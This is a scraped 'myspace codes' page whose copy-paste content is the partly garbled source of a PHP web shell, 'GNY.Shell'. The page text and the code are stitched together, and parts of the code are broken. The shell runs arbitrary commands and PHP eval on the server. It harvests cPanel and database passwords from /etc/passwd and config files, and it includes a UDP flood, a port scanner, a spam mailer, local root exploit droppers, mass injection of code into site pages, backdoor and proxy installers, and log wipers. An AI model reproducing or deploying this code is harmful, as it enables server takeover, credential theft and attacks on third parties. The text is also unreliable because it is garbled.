- radio stations
- reviews
- Community forums
- entertainment news
advertisement
myspace codes
Click "Select All" button & then copy paste (CTRL+C - CTRL+V) to your web page.
90's Country
\";
if ($tbl_struct)
{
echo \"Fields:
\"; foreach ($tbl_struct as $field) {$name = $field[\"Field\"]; echo \"+ \".$name.\"
\";} echo \" \";
}
}
if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
}
}
if (!function_exists(\"mysql_create_db\"))
{
function mysql_create_db($db,$sock=\"\")
{
$sql = \"CREATE DATABASE `\".addslashes($db).\"`;\";
if ($sock) {return mysql_query($sql,$sock);}
else {return mysql_query($sql);}
}
}
if (!function_exists(\"mysql_query_parse\"))
{
function mysql_query_parse($query)
{
$query = trim($query);
$arr = explode (\" \",$query);
/*array array()
{
\"METHOD\"=>array(output_type),
\"METHOD1\"...
...
}
if output_type == 0, no output,
if output_type == 1, no output if no error
if output_type == 2, output without control-buttons
if output_type == 3, output with control-buttons
*/
$types = array(
\"SELECT\"=>array(3,1),
\"SHOW\"=>array(2,1),
\"DELETE\"=>array(1),
\"DROP\"=>array(1)
);
$result = array();
$op = strtoupper($arr[0]);
if (is_array($types[$op]))
{
$result[\"propertions\"] = $types[$op];
$result[\"query\"] = $query;
if ($types[$op] == 2)
{
foreach($arr as $k=>$v)
{
if (strtoupper($v) == \'LIMIT\')
{
$result[\"limit\"] = $arr[$k+1];
$result[\"limit\"] = explode(\",\",$result[\"limit\"]);
if (count($result[\"limit\"]) == 1) {$result[\"limit\"] = array(0,$result[\"limit\"][0]);}
unset($arr[$k],$arr[$k+1]);
}
}
}
}
else {return FALSE;}
}
}
if (!function_exists(\'fsearch\'))
{
function fsearch($d)
{
global $found;
global $found_d;
global $found_f;
global $search_i_f;
global $search_i_d;
global $a;
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($f = readdir($h)) !== FALSE)
{
if($f != \".\" && $f != \"..\")
{
$bool = (empty($a[\"name_regexp\"]) and strpos($f,$a[\"name\"]) !== FALSE) || ($a[\"name_regexp\"] and ereg($a[\"name\"],$f));
if (is_dir($d.$f))
{
$search_i_d++;
if (empty($a[\"text\"]) and $bool) {$found[] = $d.$f; $found_d++;}
if (!is_link($d.$f)) {fsearch($d.$f);}
}
else
{
$search_i_f++;
if ($bool)
{
if (!empty($a[\"text\"]))
{
$r = @file_get_contents($d.$f);
if ($a[\"text_wwo\"]) {$a[\"text\"] = \" \".trim($a[\"text\"]).\" \";}
if (!$a[\"text_cs\"]) {$a[\"text\"] = strtolower($a[\"text\"]); $r = strtolower($r);}
if ($a[\"text_regexp\"]) {$bool = ereg($a[\"text\"],$r);}
else {$bool = strpos(\" \".$r,$a[\"text\"],1);}
if ($a[\"text_not\"]) {$bool = !$bool;}
if ($bool) {$found[] = $d.$f; $found_f++;}
}
else {$found[] = $d.$f; $found_f++;}
}
}
}
}
closedir($h);
}
}
if ($act == \'gofile\') {if (is_dir($f)) {$act = \'ls\'; $d = $f;} else {$act = \'f\'; $d = dirname($f); $f = basename($f);}}
//Sending headers
@ob_start();
@ob_implicit_flush(0);
function onphpshutdown()
{
global $gzipencode,$ft;
if (!headers_sent() and $gzipencode and !in_array($ft,array(\"img\",\"download\",\"notepad\")))
{
$v = @ob_get_contents();
@ob_end_clean();
@ob_start(\"ob_gzHandler\");
echo $v;
@ob_end_flush();
}
}
function GNYexit()
{
onphpshutdown();
exit;
}
header(\"Expires: Mon, 26 Jul 1997 05:00:00 GMT\");
header(\"Last-Modified: \".gmdate(\"D, d M Y H:i:s\").\" GMT\");
header(\"Cache-Control: no-store, no-cache, must-revalidate\");
header(\"Cache-Control: post-check=0, pre-check=0\", FALSE);
header(\"Pragma: no-cache\");
if (empty($tmpdir))
{
$tmpdir = ini_get(\"upload_tmp_dir\");
if (is_dir($tmpdir)) {$tmpdir = \"/tmp/\";}
}
$tmpdir = realpath($tmpdir);
$tmpdir = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,$tmpdir);
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
else {$tmpdir_logs = realpath($tmpdir_logs);}
if (@ini_get(\"safe_mode\") or strtolower(@ini_get(\"safe_mode\")) == \"on\")
{
$safemode = TRUE;
$hsafemode = \"ON (secure)\";
}
else {$safemode = FALSE; $hsafemode = \"OFF (not secure)\";}
$v = @ini_get(\"open_basedir\");
if ($v or strtolower($v) == \"on\") {$openbasedir = TRUE; $hopenbasedir = \"\".$v.\"\";}
else {$openbasedir = FALSE; $hopenbasedir = \"OFF (not secure)\";}
$sort = htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = getenv(\"SERVER_SOFTWARE\");
if (!ereg(\"PHP/\".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= \". PHP/\".phpversion();}
$DISP_SERVER_SOFTWARE = str_replace(\"PHP/\".phpversion(),\"PHP/\".phpversion().\"\",htmlspecialchars($DISP_SERVER_SOFTWARE));
@ini_set(\"highlight.bg\",$highlight_bg); //FFFFFF
@ini_set(\"highlight.comment\",$highlight_comment); //#FF8000
@ini_set(\"highlight.default\",$highlight_default); //#0000BB
@ini_set(\"highlight.html\",$highlight_html); //#000000
@ini_set(\"highlight.keyword\",$highlight_keyword); //#007700
@ini_set(\"highlight.string\",$highlight_string); //#DD0000
if (!is_array($actbox)) {$actbox = array();}
$dspact = $act = htmlspecialchars($act);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
// took the disabled functions from r57shell
?>
Social working - Google Search
\'; */ if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo \"
\";} echo \"
\';
}
if ($act == \'cpanel\'){
if ($_GET[\'go\'] == \'go\'){
set_time_limit(0);
##################
@$passwd=fopen(\'/etc/passwd\',\'r\');
if (!$passwd) {
echo \"[-] Error : coudn\'t read /etc/passwd\";
exit;
}
$path_to_public=array();
$users=array();
$pathtoconf=array();
$i=0;
while(!feof($passwd)) {
$str=fgets($passwd);
if ($i>35) {
$pos=strpos($str,\":\");
$username=substr($str,0,$pos);
$dirz=\"/home/$username/public_html/\";
if (($username!=\"\")) {
if (is_readable($dirz)) {
array_push($users,$username);
array_push($path_to_public,$dirz);
}
}
}
$i++;
}
###################
#########################
function read_dir($path,$username) {
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
$fpath=\"$path$file\";
if (($file!=\'.\') and ($file!=\'..\')) {
if (is_readable($fpath)) {
$dr=\"$fpath/\";
if (is_dir($dr)) {
read_dir($dr,$username);
}
else {
if (($file==\'config.php\') or ($file==\'config.inc.php\') or ($file==\'db.inc.php\') or ($file==\'connect.php\') or ($file==\'wp-config.php\') or ($file==\'var.php\') or ($file==\'configure.php\') or ($file==\'db.php\') or ($file==\'db_connect.php\')) {
$pass=get_pass($fpath);
if ($pass!=\'\') {
echo \"[+] $fpath\\n$pass\\n\";
ftp_check($username,$pass);
}
}
}
}
}
}
}
}
function get_pass($link) {
@$config=fopen($link,\'r\');
while(!feof($config)) {
$line=fgets($config);
if (strstr($line,\'pass\') or strstr($line,\'password\') or strstr($line,\'passwd\')) {
if (strrpos($line,\'\"\'))
$pass=substr($line,(strpos($line,\'=\')+3),(strrpos($line,\'\"\')-(strpos($line,\'=\')+3)));
else
$pass=substr($line,(strpos($line,\'=\')+3),(strrpos($line,\"\'\")-(strpos($line,\'=\')+3)));
return $pass;
}
}
}
function ftp_check($login,$pass) {
@$ftp=ftp_connect(\'127.0.0.1\');
if ($ftp) {
@$res=ftp_login($ftp,$login,$pass);
if ($res) {
echo \'[cPanel Found] \'.$login.\':\'.$pass.\" Success\\n\";
}
else ftp_quit($ftp);
}
}
echo \"
\"; echo \"
\"; }else echo \'Are you sure you would like to search for cPanel accounts on this website/server?
Please note this may take a long time to execute depending on the website/server it is run on.
Yes || No \';
}
if ($act == \'phptools\'){
?>Mailer
\'; if (isset($_GET[\'to\']) && isset($_GET[\'from\']) && isset($_GET[\'subject\']) && isset($_GET[\'body\'])) { $headers = \'From: \'.$_GET[\'from\']; mail ($_GET[\'to\'],$_GET[\'subject\'],$_GET[\'body\'],$headers); echo \'Email sent.\'; } //port scanner echo \'
Port Scanner
\'; $start = strip_tags($_GET[\'start\']); $end = strip_tags($_GET[\'end\']); $host = strip_tags($_GET[\'host\']); if(isset($_GET[\'host\']) && is_numeric($_GET[\'end\']) && is_numeric($_GET[\'start\'])){ for($i = $start; $i<=$end; $i++){ $fp = @fsockopen($host, $i, $errno, $errstr, 3); if($fp){ echo \'Port \'.$i.\' is open
\'; } flush(); } }else{ ?> \"; $max_time = $time+$exec_time; $host = $_GET[\'host\']; for($i=0;$i<65000;$i++){ $out .= \'X\'; } while(1){ $pakits++; if(time() > $max_time){ break; } $rand = rand(1,65000); $fp = fsockopen(\'udp://\'.$host, $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo \"
UDP Flood
Completed with $pakits (\" . round(($pakits*65)/1024, 2) . \" MB) packets averaging \". round($pakits/$exec_time, 2) . \" packets per second \\n\"; echo \'
\'; }else{ echo \'
UDP Flood
\'; } ?> Bind Shell Backdoor:\");
echo(\"$msg\");
echo(\"$emsg\");
echo(\"
\"; foreach ($tbl_struct as $field) {$name = $field[\"Field\"]; echo \"+ \".$name.\"
\";} echo \"
_____ _ ___ __ _____ _ _ _ / ____| \\ | \\ \\ / // ____| | | | | | | __| \\| |\\ \\_/ /| (___ | |__ ___| | | | | |_ | . ` | \\ / \\___ \\| \'_ \\ / _ \\ | | | |__| | |\\ | | | _ ____) | | | | __/ | | \\_____|_| \\_| |_|(_)_____/|_| |_|\\___|_|_| | ||||||||
|---|---|---|---|---|---|---|---|---|
\'.htmlspecialchars($b).DIRECTORY_SEPARATOR.\'\';
$i++;
}
echo \' \';
if (is_writable($d))
{
$wd = TRUE;
$wdt = \"[ ok ]\";
echo \"\".view_perms(fileperms($d)).\"\";
}
else
{
$wd = FALSE;
$wdt = \"[ Read-Only ]\";
echo \'\'.view_perms_color($d).\'\';
}
echo \' | ||||||||
\'; */ if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo \"
| \".$donated_html.\" |
\";} echo \"
\";
if ($act == \'\') {$act = $dspact = \'ls\';}
if ($act == \'sql\')
{
$sql_surl = $surl.\'act=sql\';
if ($sql_login) {$sql_surl .= \'&sql_login=\'.htmlspecialchars($sql_login);}
if ($sql_passwd) {$sql_surl .= \'&sql_passwd=\'.htmlspecialchars($sql_passwd);}
if ($sql_server) {$sql_surl .= \'&sql_server=\'.htmlspecialchars($sql_server);}
if ($sql_port) {$sql_surl .= \'&sql_port=\'.htmlspecialchars($sql_port);}
if ($sql_db) {$sql_surl .= \'&sql_db=\'.htmlspecialchars($sql_db);}
$sql_surl .= \"&\";
?>
\'; } $act = $dspact = \'ls\'; } if ($act == \'d\') { if (!is_dir($d)) {echo \"
\"; } } if ($act == \'phpinfoframe\') {@ob_clean(); phpinfo(); GNYexit();} if ($act == \'phpinfo\') { echo \'\'; } if ($act == \'exploit\') { echo \' \'; } if ($act == \'exploits\') { ?> Exploits: All exploits are pre-compiled. Just follow the directions. h00lyshit - Local Race Exploit h00lyshit was created in \'.htmlentities($_GET[\'path\']).\'\'; chmod($_GET[\'path\'].\'/h00lyshit\', 0777); }else{ echo \'Directory is not writable! \'; } } // end if h00lyshit was called ?> raptor_chown - Group Modification Exploit raptor_chown was created in \'.htmlentities($_GET[\'path\']).\'\'; chmod($_GET[\'path\'].\'/raptor_chown\', 0777); }else{ echo \'Directory is not writable! \'; } } // end if raptor_chown was called } // end if exploits is called if ($act == \'massbrowsersploit\') { ?> Mass Code Injection: Use this to add HTML to the end of every .php, .htm, and .html page in the directory specified. \'.$injectj00.\' was injected \'; } else { echo \'failed to inject \'.$injectj00.\'\'; } } foreach (glob($_GET[\'pathtomass\'].\"/*.htm\") as $injectj00) { $fp=fopen($injectj00,\"a+\"); if (fputs($fp,$lolinject)){ echo $injectj00.\' was injected \'; } else { echo \'failed to inject \'.$injectj00.\'\'; } } foreach (glob($_GET[\'pathtomass\'].\"/*.html\") as $injectj00) { $fp=fopen($injectj00,\"a+\"); if (fputs($fp,$lolinject)){ echo $injectj00.\' was injected \'; } else { echo \'failed to inject \'.$injectj00.\'\'; } } } else { //end if inputted dir is real -- if not, show an ugly red error echo \'\'.$_GET[\'pathtomass\'].\' is not available!\'; } // end if inputted dir is real, for real this time } // end if confirmation to mass sploit is go //new php backdoor ?> Mass Code Injection: Use this to add PHP to the end of every .php page in the directory specified. \'.$injectj00.\' was injected \'; } else { echo \'failed to inject \'.$injectj00.\'\'; } } } else { //end if inputted dir is real -- if not, show an ugly red error echo \'\'.$_GET[\'pathtomass\'].\' is not available!\'; } // end if inputted dir is real, for real this time } // end if confirmation to mass sploit is php only } // end if massbrowsersploit is called if ($act == \'security\') { echo \" \"; if (!$win) { if ($nixpasswd) { if ($nixpasswd == 1) {$nixpasswd = 0;} echo \"*nix /etc/passwd: \"; if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} echo \" \"; $i = $nixpwd_s; while ($i < $nixpwd_e) { $uid = posix_getpwuid($i); if ($uid) { $uid[\"dir\"] = \"\".$uid[\"dir\"].\"\"; echo join(\":\",$uid).\" \"; } $i++; } } else {echo \" Get /etc/passwd \";} if (file_get_contents(\"/etc/userdomains\")) {echo \"View cpanel user-domains logs \";} if (file_get_contents(\"/var/cpanel/accounting.log\")) {echo \"View cpanel logs \";} if (file_get_contents(\"/usr/local/apache/conf/httpd.conf\")) {echo \"Apache configuration (httpd.conf) \";} if (file_get_contents(\"/etc/httpd.conf\")) {echo \"Apache configuration (httpd.conf) \";} if (file_get_contents(\"/etc/syslog.conf\")) {echo \"Syslog configuration (syslog.conf) \";} if (file_get_contents(\"/etc/motd\")) {echo \"Message Of The Day \";} if (file_get_contents(\"/etc/hosts\")) {echo \"Hosts \";} function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = \"\".$name.\" - \";} echo $name.nl2br($value).\" \";}} displaysecinfo(\"OS Version?\",myshellexec(\"cat /proc/version\")); displaysecinfo(\"Kernel version?\",myshellexec(\"sysctl -a | grep version\")); displaysecinfo(\"Distrib name\",myshellexec(\"cat /etc/issue.net\")); displaysecinfo(\"Distrib name (2)\",myshellexec(\"cat /etc/*-realise\")); displaysecinfo(\"CPU?\",myshellexec(\"cat /proc/cpuinfo\")); displaysecinfo(\"RAM\",myshellexec(\"free -m\")); displaysecinfo(\"HDD space\",myshellexec(\"df -h\")); displaysecinfo(\"List of Attributes\",myshellexec(\"lsattr -a\")); displaysecinfo(\"Mount options \",myshellexec(\"cat /etc/fstab\")); displaysecinfo(\"Is cURL installed?\",myshellexec(\"which curl\")); displaysecinfo(\"Is lynx installed?\",myshellexec(\"which lynx\")); displaysecinfo(\"Is links installed?\",myshellexec(\"which links\")); displaysecinfo(\"Is fetch installed?\",myshellexec(\"which fetch\")); displaysecinfo(\"Is GET installed?\",myshellexec(\"which GET\")); displaysecinfo(\"Is perl installed?\",myshellexec(\"which perl\")); displaysecinfo(\"Where is apache\",myshellexec(\"whereis apache\")); displaysecinfo(\"Where is perl?\",myshellexec(\"whereis perl\")); displaysecinfo(\"locate proftpd.conf\",myshellexec(\"locate proftpd.conf\")); displaysecinfo(\"locate httpd.conf\",myshellexec(\"locate httpd.conf\")); displaysecinfo(\"locate my.conf\",myshellexec(\"locate my.conf\")); displaysecinfo(\"locate psybnc.conf\",myshellexec(\"locate psybnc.conf\")); } else { exec(\'systeminfo\', $wininfo); ?> DOS command: systeminfo Make File \\\"\".htmlspecialchars($mkfile).\"\\\": object alredy exists\";} elseif (!fopen($mkfile,\'w\')) {echo \'Make File \"\'.htmlspecialchars($mkfile).\'\": access denied\';} else {$act = \'f\'; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} } else {$act = $dspact = \'ls\';} } if ($act == \'encoder\') { echo \"
\'; break; } ++$count; } } } if ($act == \'fsbuff\') { $arr_copy = $sess_data[\"copy\"]; $arr_cut = $sess_data[\"cut\"]; $arr = array_merge($arr_copy,$arr_cut); if (count($arr) == 0) {echo \" \"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = \"ls\";} } if ($act == \'proxy\') { if ($_GET[\'ipisk\'] == \'yup\') { cf(\"/tmp/hantu.tgz\",$proxy_shit); ex(\"cd /tmp;tar -zxvf hantu.tgz\"); ex(\"cd /tmp;cd .setan;chmod 777 xh\"); ex(\"cd /tmp;cd .setan;chmod 777 httpd\"); ex(\"cd /tmp;cd .setan;./xh -s [kmod] ./httpd start\"); checkproxyhost(); $msg = $_POST[\'proxyhostmsg\']; echo(\"$msg\"); unlink(\"/tmp/hantu.tgz\"); ex(\"cd /tmp; rm -r .setan\"); }else echo \' Please note, some servers with firewalls or other security features may not be compatible with this, even if the proxy appears to be installed. Yes || No fi.pl was created in \'.htmlentities($_GET[\'path\']).\'\'; chmod($_GET[\'path\'].\'/fi.pl\', 0777); echo \' To execute, browse to the directory you installed the scanner in and execute it from there using \\\'perl fi.pl\\\'\'; }else{ echo \'Directory is not writable! \'; } } } if ($act == \'phpproxy\'){ ?> Install PHP Based Proxy proxy.php was created in \'.htmlentities($_GET[\'path\']).\'\'; chmod($_GET[\'path\'].\'/proxy.php\', 0777); }else{ echo \'Directory is not writable! \'; } } } if ($act == \'selfremove\') { if ($_GET[\'bai\'] == \'k\'){ if (unlink(__FILE__)){ @ob_clean(); echo \'GNY.Shell has been deleted and is now gone.\'; GNYexit(); }else{ echo \" Yes || No \";}} if ($act == \'search\') { echo \"Search in file-system: \"; if (empty($search_in)) {$search_in = $d;} if (empty($search_name)) {$search_name = \"(.*)\"; $search_name_regexp = 1;} if (empty($search_text_wwo)) {$search_text_regexp = 0;} if (!empty($submit)) { $found = array(); $found_d = 0; $found_f = 0; $search_i_f = 0; $search_i_d = 0; $a = array ( \"name\"=>$search_name, \"name_regexp\"=>$search_name_regexp, \"text\"=>$search_text, \"text_regexp\"=>$search_text_regxp, \"text_wwo\"=>$search_text_wwo, \"text_cs\"=>$search_text_cs, \"text_not\"=>$search_text_not ); $searchtime = getmicrotime(); $in = array_unique(explode(\";\",$search_in)); foreach($in as $v) {fsearch($v);} $searchtime = round(getmicrotime()-$searchtime,4); if (count($found) == 0) {echo \"No files found!\";} else { $ls_arr = $found; $disp_fullpath = TRUE; $act = \"ls\"; } } echo \"\"; if ($act == \'ls\') {$dspact = $act; echo \" Search took \".$searchtime.\" secs (\".$search_i_f.\" files and \".$search_i_d.\" folders, \".round(($search_i_f+$search_i_d)/$searchtime,4).\" objects per second). \";} } if ($act == \'chmod\') { $mode = fileperms($d.$f); if (!$mode) {echo \"Change file-mode with error: can\'t get current value.\";} else { $form = TRUE; if ($chmod_submit) { $octet = \"0\".base_convert(($chmod_o[\"r\"]?1:0).($chmod_o[\"w\"]?1:0).($chmod_o[\"x\"]?1:0).($chmod_g[\"r\"]?1:0).($chmod_g[\"w\"]?1:0).($chmod_g[\"x\"]?1:0).($chmod_w[\"r\"]?1:0).($chmod_w[\"w\"]?1:0).($chmod_w[\"x\"]?1:0),2,8); if (chmod($d.$f,$octet)) {$act = \"ls\"; $form = FALSE; $err = \"\";} else {$err = \"Can\'t chmod to \".$octet.\".\";} } if ($form) { $perms = parse_perms($mode); echo \"Changing file-mode (\".$d.$f.\"), \".view_perms_color($d.$f).\" (\".substr(decoct(fileperms($d.$f)),-4,4).\") \".($err?\"Error: \".$err:\"\").\"\"; } } } if ($act == \"upload\") { $uploadmess = \"\"; $uploadpath = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,$uploadpath); if (empty($uploadpath)) {$uploadpath = $d;} elseif (substr($uploadpath,-1) != \"/\") {$uploadpath .= \"/\";} if (!empty($submit)) { global $HTTP_POST_FILES; $uploadfile = $HTTP_POST_FILES[\"uploadfile\"]; if (!empty($uploadfile[\"tmp_name\"])) { if (empty($uploadfilename)) {$destin = $uploadfile[\"name\"];} else {$destin = $userfilename;} if (!move_uploaded_file($uploadfile[\"tmp_name\"],$uploadpath.$destin)) {$uploadmess .= \"Error uploading file \".$uploadfile[\"name\"].\" (can\'t copy \\\"\".$uploadfile[\"tmp_name\"].\"\\\" to \\\"\".$uploadpath.$destin.\"\\\"! \";} } elseif (!empty($uploadurl)) { if (!empty($uploadfilename)) {$destin = $uploadfilename;} else { $destin = explode(\"/\",$destin); $destin = $destin[count($destin)-1]; if (empty($destin)) { $i = 0; $b = \"\"; while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = \"_\".$i;} $destin = \"index\".$b.\".html\"; $i++;}} } if ((!eregi(\"http://\",$uploadurl)) and (!eregi(\"https://\",$uploadurl)) and (!eregi(\"ftp://\",$uploadurl))) {echo \"Incorect url! \";} else { $st = getmicrotime(); $content = @file_get_contents($uploadurl); $dt = round(getmicrotime()-$st,4); if (!$content) {$uploadmess .= \"Can\'t download file! \";} else { if ($filestealth) {$stat = stat($uploadpath.$destin);} $fp = fopen($uploadpath.$destin,\"w\"); if (!$fp) {$uploadmess .= \"Error writing to file \".htmlspecialchars($destin).\"! \";} else { fwrite($fp,$content,strlen($content)); fclose($fp); if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} } } } } } if ($miniform) { echo \"\".$uploadmess.\"\"; $act = \"ls\"; } else { echo \"File upload: \".$uploadmess.\"\"; } } if ($act == \'md5file\') { ?>
|
\";
$act = \'ls\';
}
if ($act == \'sha1file\') {
?>
|
| \";
$act = \'ls\';
}
if ($act == \'delete\')
{
$delerr = \'\';
foreach ($actbox as $v)
{
$result = FALSE;
$result = fs_rmobj($v);
if (!$result)
$delerr .= \'Can\\\'t delete \'.htmlspecialchars($v).\' \'; } if (!empty($delerr)) echo \'Deleting with errors: \'.$delerr; $act = \'ls\'; } if (!$usefsbuff) { if (($act == \"paste\") or ($act == \"copy\") or ($act == \"cut\") or ($act == \"unselect\")) {echo \" \";} if ($copy_unset) {unset($sess_data[\"copy\"][$k]);} } foreach($sess_data[\"cut\"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$to)) {$psterr .= \"Can\'t move \".$v.\" to \".$to.\"! \";} unset($sess_data[\"cut\"][$k]); } sess_put($sess_data); if (!empty($psterr)) {echo \"Pasting with errors: \".$psterr;} $act = \"ls\"; } elseif ($actarcbuff) { $arcerr = \"\"; if (substr($actarcbuff_path,-7,7) == \".tar.gz\") {$ext = \".tar.gz\";} else {$ext = \".tar.gz\";} if ($ext == \".tar.gz\") {$cmdline = \"tar cfzv\";} $cmdline .= \" \".$actarcbuff_path; $objects = array_merge($sess_data[\"copy\"],$sess_data[\"cut\"]); foreach($objects as $v) { $v = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,$v); if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} if (is_dir($v)) { if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} $v .= \"*\"; } $cmdline .= \" \".$v; } $tmp = realpath(\".\"); chdir($d); $ret = myshellexec($cmdline); chdir($tmp); if (empty($ret)) {$arcerr .= \"Can\'t call archivator (\".htmlspecialchars(str2mini($cmdline,60)).\")! \";} $ret = str_replace(\"\\r\\n\",\"\\n\",$ret); $ret = explode(\"\\n\",$ret); if ($copy_unset) {foreach($sess_data[\"copy\"] as $k=>$v) {unset($sess_data[\"copy\"][$k]);}} foreach($sess_data[\"cut\"] as $k=>$v) { if (in_array($v,$ret)) {fs_rmobj($v);} unset($sess_data[\"cut\"][$k]); } sess_put($sess_data); if (!empty($arcerr)) {echo \"Archivation errors: \".$arcerr;} $act = \"ls\"; } elseif ($actpastebuff) { $psterr = \"\"; foreach($sess_data[\"copy\"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$d)) {$psterr .= \"Can\'t copy \".$v.\" to \".$to.\"! \";} if ($copy_unset) {unset($sess_data[\"copy\"][$k]);} } foreach($sess_data[\"cut\"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$d)) {$psterr .= \"Can\'t move \".$v.\" to \".$to.\"! \";} unset($sess_data[\"cut\"][$k]); } sess_put($sess_data); if (!empty($psterr)) {echo \"Pasting with errors: \".$psterr;} $act = \"ls\"; } } // the wipe logs stuff needs to be before cmd, because it will change the $act if the write is successful if ($act == \'zap2\') { // *nix cleaner if (is_writable(\'.\')) { cf($act, $$act); // \'tis pure innovation of optimization :) chmod($act, 0777); $cmd = \'./\'.$act; // keep this before $act = \'cmd\'; $act = \'cmd\'; $cmd_txt = \'1\'; }else{ echo \'Directory Is Not Writable! \'; } } if ($act == \'clearlogs\') { // windows cleaners if (is_writable(\'.\')) { cf($act.\'.exe\', $$act); chmod($act.\'.exe\', 0777); $cmd = $act.\'.exe\'; $act = \'cmd\'; $cmd_txt = \'1\'; }else{ echo \'Directory Is Not Writable! \'; } } if ($act == \'cmd\') { if (trim($cmd) == \"ps -aux\") $act = \'processes\'; else { @chdir($chdir); if (!empty($submit)) { echo \"Result of execution this command: \"; $olddir = realpath(\".\"); @chdir($d); $ret = myshellexec($cmd); $ret = convert_cyr_string($ret,\"d\",\"w\"); if ($cmd_txt) { $rows = count(explode(\"\\r\\n\",$ret))+1; if ($rows < 10) {$rows = 10;} echo \" \"; } else {echo $ret.\" \";} @chdir($olddir); } else {echo \"Execution command\"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} echo \"\"; } } if ($act == \'ls\') { if (count($ls_arr) > 0) {$list = $ls_arr;} else { $list = array(); if ($h = @opendir($d)) { while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} closedir($h); } else {} } if (count($list) == 0) {echo \" \"; if (count(array_merge($sess_data[\"copy\"],$sess_data[\"cut\"])) > 0 and ($usefsbuff)) { echo \" \"; } echo \" \'; } } if ($act == \'processes\') { echo \"Processes:\"; if (!$win) {$handler = \"ps -aux\".($grep?\" | grep \'\".addslashes($grep).\"\'\":\"\");} else {$handler = \"tasklist\";} $ret = myshellexec($handler); if (!$ret) {echo \"Can\'t execute \\\"\".$handler.\"\\\"!\";} else { if (empty($processes_sort)) {$processes_sort = $sort_default;} $parsesort = parsesort($processes_sort); if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} $k = $parsesort[0]; if ($parsesort[1] != \"a\") {$y = \" [sort]\";} else {$y = \" [sort]\";} $ret = htmlspecialchars($ret); if (!$win) { if ($pid) { if (is_null($sig)) {$sig = 9;} echo \"Sending signal \".$sig.\" to #\".$pid.\"... \"; if (posix_kill($pid,$sig)) {echo \"OK.\";} else {echo \"ERROR.\";} } while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\" \",$ret);} $stack = explode(\"\\n\",$ret); $head = explode(\" \",$stack[0]); unset($stack[0]); for($i=0;$i
\"; $tmp = ob_get_contents(); $olddir = realpath(\".\"); @chdir($d); if ($tmp) { ob_clean(); eval($eval); $ret = ob_get_contents(); $ret = convert_cyr_string($ret,\"d\",\"w\"); ob_clean(); echo $tmp; if ($eval_txt) { $rows = count(explode(\"\\r\\n\",$ret))+1; if ($rows < 10) {$rows = 10;} echo \" \"; } else {echo $ret.\" \";} } else { if ($eval_txt) { echo \" \"; } else {echo $ret;} } @chdir($olddir); } else {echo \"Execute PHP-code\"; if (empty($eval_txt)) {$eval_txt = TRUE;}} echo \"\"; } if ($act == \'f\') { if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != \"edit\") { if (file_exists($d.$f)) {echo \" Create Select action/file-type: \"; foreach($arr as $t) { if ($t[1] == $rft) {echo \" \".$t[0].\"\";} elseif ($t[1] == $ft) {echo \" \".$t[0].\"\";} else {echo \" \".$t[0].\"\";} echo \" (+) |\"; } echo \" \"; if ($ft == \"info\") { echo \"Information:
\"; $fi = fopen($d.$f,\"rb\"); if ($fi) { if ($fullhexdump) {echo \"FULL HEXDUMP\"; $str = fread($fi,filesize($d.$f));} else {echo \"HEXDUMP PREVIEW\"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} $n = 0; $a0 = \"00000000 \"; $a1 = \"\"; $a2 = \"\"; for ($i=0; $i \";} $a1 .= \" \"; $a2 .= \" \"; } } //if ($a1 != \"\") {$a0 .= sprintf(\"%08X\",$i).\" \";} echo \"
\"; } $encoded = \"\"; if ($base64 == 1) { echo \"Base64 Encode \"; $encoded = base64_encode(file_get_contents($d.$f)); } elseif($base64 == 2) { echo \"Base64 Encode + Chunk \"; $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); } elseif($base64 == 3) { echo \"Base64 Encode + Chunk + Quotes \"; $encoded = base64_encode(file_get_contents($d.$f)); $encoded = substr(preg_replace(\"!.{1,76}!\",\"\'\\\\0\'.\\n\",$encoded),0,-2); } elseif($base64 == 4) { $text = file_get_contents($d.$f); $encoded = base64_decode($text); echo \"Base64 Decode\"; if (base64_encode($encoded) != $text) {echo \" (failed)\";} echo \" \"; } if (!empty($encoded)) { echo \" \"; } echo \"HEXDUMP: Base64: \"; } elseif ($ft == \"html\") { if ($white) {@ob_clean();} echo $r; if ($white) {GNYexit();} } elseif ($ft == \"txt\") {echo \" \".htmlspecialchars($r).\"\";} elseif ($ft == \"ini\") {echo \" \"; var_dump(parse_ini_file($d.$f,TRUE)); echo \"\";} elseif ($ft == \"rename\") { echo \' \'; if (isset($_GET[\'name\'])) { rename($d.$f, $d.$_GET[\'name\']); if 